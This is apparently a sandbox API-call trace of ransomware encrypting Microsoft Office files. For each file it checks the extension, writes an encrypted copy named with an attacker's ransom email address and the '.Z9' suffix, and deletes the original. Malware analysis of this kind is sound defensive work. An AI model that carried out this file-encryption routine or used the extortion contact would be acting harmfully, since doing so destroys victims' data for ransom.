	[0080.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0080.127] lstrlenW (lpString=".1cd") returned 4
	[0080.127] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0080.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0080.127] lstrlenW (lpString=".jpg") returned 4
	[0080.127] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0080.127] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0080.127] lstrlenW (lpString="AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 53
	[0080.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0080.128] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=1261) returned 1
	[0080.128] CloseHandle (hObject=0x394) returned 1
	[0080.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0080.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0080.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0080.129] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.129] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0080.129] GetLastError () returned 0x0
	[0080.129] ReadFile (in: hFile=0x394, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0080.131] WriteFile (in: hFile=0x388, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0080.132] ReadFile (in: hFile=0x394, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.132] WriteFile (in: hFile=0x388, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0080.132] SetEndOfFile (hFile=0x388) returned 1
	[0080.133] CloseHandle (hObject=0x388) returned 1
	[0080.134] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.134] SetEndOfFile (hFile=0x394) returned 1
	[0080.134] CloseHandle (hObject=0x394) returned 1
	[0080.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0080.135] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 1
	[0080.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0080.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0080.135] lstrlenW (lpString=".doc") returned 4
	[0080.135] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0080.135] lstrlenW (lpString=".docx") returned 5
	[0080.135] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0080.135] lstrlenW (lpString=".pdf") returned 4
	[0080.135] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0080.135] lstrlenW (lpString=".xls") returned 4
	[0080.135] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0080.135] lstrlenW (lpString=".xlsx") returned 5
	[0080.135] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0080.135] lstrlenW (lpString=".ppt") returned 4
	[0080.135] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0080.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0080.135] lstrlenW (lpString=".zip") returned 4
	[0080.135] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0080.135] lstrlenW (lpString=".rar") returned 4
	[0080.135] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0080.135] lstrlenW (lpString=".bz2") returned 4
	[0080.135] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0080.136] lstrlenW (lpString=".7z") returned 3
	[0080.136] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0080.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0080.136] lstrlenW (lpString=".dbf") returned 4
	[0080.136] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0080.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0080.136] lstrlenW (lpString=".1cd") returned 4
	[0080.136] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0080.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0080.136] lstrlenW (lpString=".jpg") returned 4
	[0080.136] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0080.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0080.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0080.136] lstrlenW (lpString=".doc") returned 4
	[0080.136] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0080.136] lstrlenW (lpString=".docx") returned 5
	[0080.136] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0080.136] lstrlenW (lpString=".pdf") returned 4
	[0080.136] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0080.136] lstrlenW (lpString=".xls") returned 4
	[0080.136] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0080.136] lstrlenW (lpString=".xlsx") returned 5
	[0080.136] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0080.136] lstrlenW (lpString=".ppt") returned 4
	[0080.136] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0080.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0080.136] lstrlenW (lpString=".zip") returned 4
	[0080.136] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0080.136] lstrlenW (lpString=".rar") returned 4
	[0080.136] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0080.136] lstrlenW (lpString=".bz2") returned 4
	[0080.136] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0080.137] lstrlenW (lpString=".7z") returned 3
	[0080.137] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0080.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0080.137] lstrlenW (lpString=".dbf") returned 4
	[0080.137] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0080.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0080.137] lstrlenW (lpString=".1cd") returned 4
	[0080.137] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0080.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0080.137] lstrlenW (lpString=".jpg") returned 4
	[0080.137] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0080.137] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0080.137] lstrlenW (lpString="AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 53
	[0080.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0080.137] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=527958) returned 1
	[0080.137] CloseHandle (hObject=0x394) returned 1
	[0080.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0080.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0080.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0080.138] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.138] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0080.138] GetLastError () returned 0x0
	[0080.138] ReadFile (in: hFile=0x394, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x80e56, lpOverlapped=0x0) returned 1
	[0080.153] WriteFile (in: hFile=0x388, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x80e60, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x80e60, lpOverlapped=0x0) returned 1
	[0080.565] ReadFile (in: hFile=0x394, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.565] WriteFile (in: hFile=0x388, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0080.565] SetEndOfFile (hFile=0x388) returned 1
	[0080.565] CloseHandle (hObject=0x388) returned 1
	[0080.576] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.576] SetEndOfFile (hFile=0x394) returned 1
	[0080.582] CloseHandle (hObject=0x394) returned 1
	[0080.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0080.583] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 1
	[0080.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0080.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0080.583] lstrlenW (lpString=".doc") returned 4
	[0080.583] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0080.583] lstrlenW (lpString=".docx") returned 5
	[0080.583] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0080.583] lstrlenW (lpString=".pdf") returned 4
	[0080.583] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0080.583] lstrlenW (lpString=".xls") returned 4
	[0080.583] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0080.583] lstrlenW (lpString=".xlsx") returned 5
	[0080.583] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0080.583] lstrlenW (lpString=".ppt") returned 4
	[0080.583] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0080.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0080.583] lstrlenW (lpString=".zip") returned 4
	[0080.583] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0080.583] lstrlenW (lpString=".rar") returned 4
	[0080.583] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0080.583] lstrlenW (lpString=".bz2") returned 4
	[0080.584] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0080.584] lstrlenW (lpString=".7z") returned 3
	[0080.584] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0080.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0080.584] lstrlenW (lpString=".dbf") returned 4
	[0080.584] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0080.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0080.584] lstrlenW (lpString=".1cd") returned 4
	[0080.584] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0080.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0080.584] lstrlenW (lpString=".jpg") returned 4
	[0080.584] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0080.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0080.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0080.584] lstrlenW (lpString=".doc") returned 4
	[0080.584] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0080.584] lstrlenW (lpString=".docx") returned 5
	[0080.584] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0080.584] lstrlenW (lpString=".pdf") returned 4
	[0080.584] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0080.584] lstrlenW (lpString=".xls") returned 4
	[0080.584] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0080.584] lstrlenW (lpString=".xlsx") returned 5
	[0080.584] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0080.584] lstrlenW (lpString=".ppt") returned 4
	[0080.584] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0080.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0080.584] lstrlenW (lpString=".zip") returned 4
	[0080.584] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0080.584] lstrlenW (lpString=".rar") returned 4
	[0080.584] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0080.584] lstrlenW (lpString=".bz2") returned 4
	[0080.584] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0080.584] lstrlenW (lpString=".7z") returned 3
	[0080.585] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0080.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0080.585] lstrlenW (lpString=".dbf") returned 4
	[0080.585] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0080.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0080.585] lstrlenW (lpString=".1cd") returned 4
	[0080.585] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0080.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0080.585] lstrlenW (lpString=".jpg") returned 4
	[0080.585] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0080.585] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0080.585] lstrlenW (lpString="AG00037_.GIF") returned 12
	[0080.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0080.943] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=6684) returned 1
	[0080.943] CloseHandle (hObject=0x384) returned 1
	[0080.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 0x220
	[0080.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0080.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0080.943] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.944] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0080.946] GetLastError () returned 0x0
	[0080.946] ReadFile (in: hFile=0x384, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x1a1c, lpOverlapped=0x0) returned 1
	[0080.957] WriteFile (in: hFile=0x37c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x1a20, lpOverlapped=0x0) returned 1
	[0080.959] ReadFile (in: hFile=0x384, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.959] WriteFile (in: hFile=0x37c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.241] SetEndOfFile (hFile=0x37c) returned 1
	[0081.260] CloseHandle (hObject=0x37c) returned 1
	[0081.300] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.305] SetEndOfFile (hFile=0x384) returned 1
	[0081.340] CloseHandle (hObject=0x384) returned 1
	[0081.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0081.341] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 1
	[0081.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0081.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0081.341] lstrlenW (lpString=".doc") returned 4
	[0081.341] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.341] lstrlenW (lpString=".docx") returned 5
	[0081.341] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.341] lstrlenW (lpString=".pdf") returned 4
	[0081.341] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.341] lstrlenW (lpString=".xls") returned 4
	[0081.341] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.341] lstrlenW (lpString=".xlsx") returned 5
	[0081.341] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.341] lstrlenW (lpString=".ppt") returned 4
	[0081.341] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0081.341] lstrlenW (lpString=".zip") returned 4
	[0081.341] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.341] lstrlenW (lpString=".rar") returned 4
	[0081.341] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.341] lstrlenW (lpString=".bz2") returned 4
	[0081.341] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.341] lstrlenW (lpString=".7z") returned 3
	[0081.341] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0081.341] lstrlenW (lpString=".dbf") returned 4
	[0081.343] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0081.343] lstrlenW (lpString=".1cd") returned 4
	[0081.343] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0081.343] lstrlenW (lpString=".jpg") returned 4
	[0081.343] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0081.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0081.343] lstrlenW (lpString=".doc") returned 4
	[0081.343] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.343] lstrlenW (lpString=".docx") returned 5
	[0081.343] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.343] lstrlenW (lpString=".pdf") returned 4
	[0081.343] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.343] lstrlenW (lpString=".xls") returned 4
